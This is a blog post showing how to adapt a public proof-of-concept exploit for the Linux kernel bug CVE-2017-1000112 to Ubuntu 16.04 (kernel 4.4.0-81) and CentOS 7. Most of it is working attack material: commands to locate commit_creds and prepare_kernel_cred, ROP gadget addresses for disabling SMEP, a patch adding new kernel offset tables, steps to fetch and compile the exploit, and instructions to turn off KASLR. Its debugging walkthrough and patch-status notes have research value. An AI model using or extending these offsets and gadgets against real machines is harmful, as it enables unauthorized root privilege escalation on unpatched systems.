Thursday, December 21, 2017

Adapting the POC for CVE-2017-1000112 to Other Kernels

This post will show how to adapt Andrey's @andreyknvl proof of concent, https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c for CVE-2017-1000112 to other kernels. I will use Ubuntu's Xenial (16.04) kernel version 4.4.0-81-generic in this example

http://seclists.org/oss-sec/2017/q3/277
The timeline for discovery and patch:
2017.08.03 - Bug reported to security () kernel org
2017.08.04 - Bug reported to linux-distros@
2017.08.10 - Patch submitted to netdev
2017.08.10 - Announcement on oss-security@

Description

Exploitable memory corruption due to UFO to non-UFO path switch. When building a UFO packet with MSG_MORE __ip_append_data() calls ip_ufo_append_data() to append. However in between two send() calls, the append path can be switched from UFO to non-UFO one, which leads to a memory corruption. In case UFO packet lengths exceeds MTU, copy =     maxfraglen - skb->len becomes negative on the non-UFO path and the branch to allocate new skb is taken. This triggers fragmentation and computation of fraggap = skb_prev->len - maxfraglen. Fraggap can exceed MTU, causing copy = datalen - transhdrlen - fraggap to become negative. Subsequently skb_copy_and_csum_bits() writes out-of-bounds. A similar issue is present in IPv6 code. The bug was introduced in e89e9cf539a2 ("[IPv4/IPv6]: UFO Scatter-gather approach") on Oct 18 2005.

Fix

https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa



Add Offsets for Ubuntu 16.04 with Kernel 4.4.0-81-generic


The proof of concept has a nice framework to plugin the address offsets for commit_creds, prepare_kernel_cred, and the gadgets for the ROP chain for different kernels
Looking at the kernel_info structures, we will update this section with our target kernel addresses.




Find Kernel Functions


To determine the address offsets for commit_creds, prepare_kernel_cred, and the read and write functions for CR4 to disable SMEP.

Create a target VM based on Ubuntu 16.04.2

I am using VMWare in this example.
http://old-releases.ubuntu.com/releases/16.04.2/ubuntu-16.04.2-server-amd64.img

Since this is a target VM that will be used later in debugging step-through, update the vmx configuration file to enable the kernel debug stub

debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"


Install the 4.4.0-81-generic kernel

sudo apt install linux-image-4.4.0-81-generic

Once the kernel is installed, reboot and find the addresses for the kernel functions, commit_creds, prepare_kernel_cred, native_read_cr4_safe, and native_write_cr4

sudo grep commit_creds /proc/kallsyms
sudo grep prepare_kernel_cred /proc/kallsyms 
sudo grep native_read_cr4_safe /proc/kallsyms
sudo grep native_write_cr4 /proc/kallsyms














Find ROP Gadgets

In this example I am using a different VM that will be used to debug the target machine above.

Once a new VM is created, we can use extract-vmlinux: https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux to extract an uncompressed version of the linux kernel or download the kernel with debug symbols. I am using the kernel with debug symbols as it will be used during walk through of the POC.

To obtain the kernel with debug symbols

echo "deb http://ddebs.ubuntu.com $(lsb_release -cs) main restricted universe multiverse
deb http://ddebs.ubuntu.com $(lsb_release -cs)-updates main restricted universe multiverse
deb http://ddebs.ubuntu.com $(lsb_release -cs)-proposed main restricted universe multiverse" | \
sudo tee -a /etc/apt/sources.list.d/ddebs.list


sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 428D7C01 C8CAB6595FDFF622

apt install linux-image-4.4.0-81-generic-dbgsym


The kernel will be installed at /usr/lib/debug/boot/vmlinux-4.4.0-81-generic





Install and run ROPgadget against the target kernel

I will use ropgadget: https://github.com/JonathanSalwan/ROPgadget, to find the gadgets in the kernel.


apt install python-pip python-capstone
pip install ropgadget
ROPgadget --binary /usr/lib/debug/boot/vmlinux-4.4.0-81-generic > ~/rg-4.4.0-81-generic

Now that we have a list of possible gadgets, we need to find the addresses to match the rop chain from the POC

struct kernel_info {
        const char* distro;
        const char* version;
        uint64_t commit_creds;
                sudo grep commit_creds /proc/kallsyms
        0xffffffff810a2800 T commit_creds

               
        uint64_t prepare_kernel_cred;
                sudo grep prepare_kernel_cred /proc/kallsyms
        0xffffffff810a2bf0 T prepare_kernel_cred

   
        uint64_t xchg_eax_esp_ret;
                grep ': xchg eax, esp ; ret' rg-4.4.0-81-generic
        0xffffffff8100008a : xchg eax, esp ; ret


        uint64_t pop_rdi_ret;
                grep ': pop rdi ; ret' rg-4.4.0-81-generic
        0xffffffff813eb4ad : pop rdi ; ret


        uint64_t mov_dword_ptr_rdi_eax_ret;
                grep ': mov dword ptr \[rdi\], eax ; ret' rg-4.4.0-81-generic
        0xffffffff81112697 : mov dword ptr [rdi], eax ; ret

               
        uint64_t mov_rax_cr4_ret;
                sudo grep cr4 /proc/kallsyms
        0xffffffff8101b9c0 t native_read_cr4_safe

   
        uint64_t neg_rax_ret;
                grep ': neg rax ; ret' rg-4.4.0-81-generic
        0xffffffff8140341a : neg rax ; ret

               
        uint64_t pop_rcx_ret;
                grep ': pop rcx ; ret' rg-4.4.0-81-generic
        0xffffffff8101de6c : pop rcx ; ret

               
        uint64_t or_rax_rcx_ret;
                grep ': or rax, rcx ; ret' rg-4.4.0-81-generic
        0xffffffff8107a453 : or rax, rcx ; re
t                 

        uint64_t xchg_eax_edi_ret;
                grep ': xchg eax, edi ; ret' rg-4.4.0-81-generic
        0xffffffff81125787 : xchg eax, edi ; r
et
           
        uint64_t mov_cr4_rdi_ret;
                sudo grep cr4 /proc/kallsyms
        0xffffffff81064580 t native_write_cr4

               
        uint64_t jmp_rcx;
                grep ': jmp rcx' rg-4.4.0-81-generic
        0xffffffff81049ed0 : jmp rcx

};


KASLR


The 4.4.0-81 kernel does not have KASLR enabled, but to conform to the existing file, we will use offsets. For each address subtract 0xffffffff81000000, the base address of the kernel.

To find the base address of the kernel
sudo grep text /proc/kallsyms
ffffffff81000000 T _text


For example, to determine the offset of commit_creds
0xffffffff810a2800 - 0xffffffff81000000 = 0xa2800


Note: If you are using a kernel that does have KASLR enabled (https://unix.stackexchange.com/questions/397939/turning-off-kaslr-to-debug-linux-kernel-using-qemu-and-gdb)
$ grep GRUB_CMDLINE_LINUX_DEFAULT /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet"
$ sudo perl -i -pe 'm/quiet/ and s//quiet nokaslr/' /etc/default/grub
$ grep quiet /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet nokaslr"
$ sudo update-grub


Updating the original proof of concept file


We need to update the POC with the addresses and to expect a 4.4.0 kernel with Ubuntu 16.04 (xenial).


{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },


unsigned long get_kernel_addr() {
        char* syslog;
        int size;
        mmap_syslog(&syslog, &size);

        if (strcmp("trusty", kernels[kernel].distro) == 0 &&
            strncmp("4.4.0", kernels[kernel].version, 5) == 0)
                return get_kernel_addr_trusty(syslog, size);
        if (strcmp("xenial", kernels[kernel].distro) == 0 &&
            (strncmp("4.4.0", kernels[kernel].version, 5) == 0) ||
            (strncmp("4.8.0", kernels[kernel].version, 5) == 0))
                return get_kernel_addr_xenial(syslog, size);

        printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
        exit(EXIT_FAILURE);
}



Patch file

4.4.0-81.patch
--- poc.c       2017-12-21 11:49:17.758164986 -0600
+++ updated.c   2017-12-20 16:21:06.187852954 -0600
@@ -117,6 +117,7 @@
        { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
        { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
        { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
+       { "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
        { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
        { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
        { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
@@ -326,7 +327,8 @@
            strncmp("4.4.0", kernels[kernel].version, 5) == 0)
                return get_kernel_addr_trusty(syslog, size);
        if (strcmp("xenial", kernels[kernel].distro) == 0 &&
-           strncmp("4.8.0", kernels[kernel].version, 5) == 0)
+           (strncmp("4.4.0", kernels[kernel].version, 5) == 0) ||
+            (strncmp("4.8.0", kernels[kernel].version, 5) == 0))
                return get_kernel_addr_xenial(syslog, size);

        printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");



Apply the patch

wget https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c

patch < 4.4.0.81.patch

gcc poc.c -o updatedpoc






 

Kernel Debugging

Here is a quick setup using GDB to step through the exploit.
From above, we will be using the target machine to run the exploit and a host machine to view what is happening.

On the host machine, we have already downloaded the kernel with debug symbols, now lets download the kernel source code for completeness.

wget http://archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-source-4.4.0_4.4.0-81.104_all.deb

dpkg -i linux-source-4.4.0_4.4.0-81.104_all.deb

The source is installed at /usr/src/linux-source-4.4.0-81 as a compressed file: 
/usr/src/linux-source-4.4.0/linux-source-4.4.0.tar.bz2

After extracting the source: tar xvjf linux-source-4.4.0.tar.bz2, it is located at:
/usr/src/linux-source-4.4.0/linux-source-4.4.0


GDB

sudo apt install gdb

Install pwndbg: https://github.com/pwndbg/pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh 


Start GDB, configure the source path, and connect to the target machine

gdb /usr/lib/debug/boot/vmlinux-4.4.0-81-generic

set substitute-path /build/linux-cs3yMe/linux-4.4.0/ /usr/src/linux-source-4.4.0/linux-source-4.4.0/

target remote 192.168.81.1:8864







Breakpoints used:

break __ip_append_data
break __ip_flush_pending_frames
break skb_release_all

The first hit on __ip_append_data takes the path to ip_ufo_append_data and the second hit uses a non ufo path which introduces the memory corruption.














Second hit on __ip_append_data
















Enable the breakpoint on __ip_flush_pending_frames















Enable the breakpoint on skb_release_all





















On the break at skb_release_all, we can see where the memory corruption has happened and where the skb_shared_info->destructor_arg is called into usermode setting up the rop chain. the skb address (0xffff880039161400) is listed above on the call to skb_release_all:













In skb_release_data, the dereference to the start of the ROP chain is located at address: 0xffffffff81720a12.

At address 0xffffffff81720a1f starts the rop chain.



And finally the ROP chain in memory









Linux Distributions

Requirements 

 The bug can be exploited by an unprivileged user if:

1. User can set up an interface with UFO enabled and MTU < 65535 or such interface is already present in the system. The former is possible from inside a user namespace.

2. User can disable the NETIF_F_UFO interface feature or set the SO_NO_CHECK socket option. The former requires CAP_NET_ADMIN. The latter is only possible after 40ba330227ad ("udp: disallow UFO for sockets with SO_NO_CHECK option") from Jan 11 2016.

Both are possible from inside a user namespace. In particular, the bug can be exploited by an unprivileged user if unprivileged user namespaces are available.

Checking the status of udp-framentation-offload
Loopback

ethtool -k lo |grep udp
udp-fragmentation-offload: on


ens33

ethtool -k ens33 |grep udp
udp-fragmentation-offload: off [fixed]

Ubuntu

Ubuntu, by default, allows for user namespaces
 
https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-1000112.html

Package
Source: linux (LP Ubuntu Debian)
Upstream:    released (4.13~rc5)
Ubuntu 12.04 ESM (Precise Pangolin): ignored (no user namespace support)
Ubuntu 14.04 LTS (Trusty Tahr):    released (3.13.0-128.177)
Ubuntu 16.04 LTS (Xenial Xerus): released (4.4.0-91.114)
Ubuntu 17.04 (Zesty Zapus): released (4.10.0-32.36)
Ubuntu 17.10 (Artful Aardvark):    not-affected (4.12.0-11.12)
Ubuntu 18.04 LTS (Bionic Beaver): not-affected (4.13.0-16.19) 

RHEL/CentOS

Centos kernel's are vulnerable but do not allow for usernames spaces by default
https://access.redhat.com/security/cve/CVE-2017-1000112

CentOS 7 - https://access.redhat.com/errata/RHSA-2017:2930
kernel-3.10.0-693.5.2.el7.x86_64.rpm

CentOS 6 - https://access.redhat.com/errata/RHSA-2017:3200
kernel-2.6.32-696.16.1.el6.x86_64.rpm

I successfully tested on CentOS 7, kernel 3.10.0-693.el7.x86_64, but had to artificially lower the mtu on the loopback adapter:

/sbin/ifconfig lo mtu 1500

Offsets:
{ "cent7", "3.10.0-693.el7.x86_64", 0xb7670, 0xb7980, 0x8a, 0x39337a, 0x650ca, 0x19bf0, 0x32d41a, 0x11e843, 0x7c6b3, 0x4b8f7, 0x63210, 0x6bab33 }


References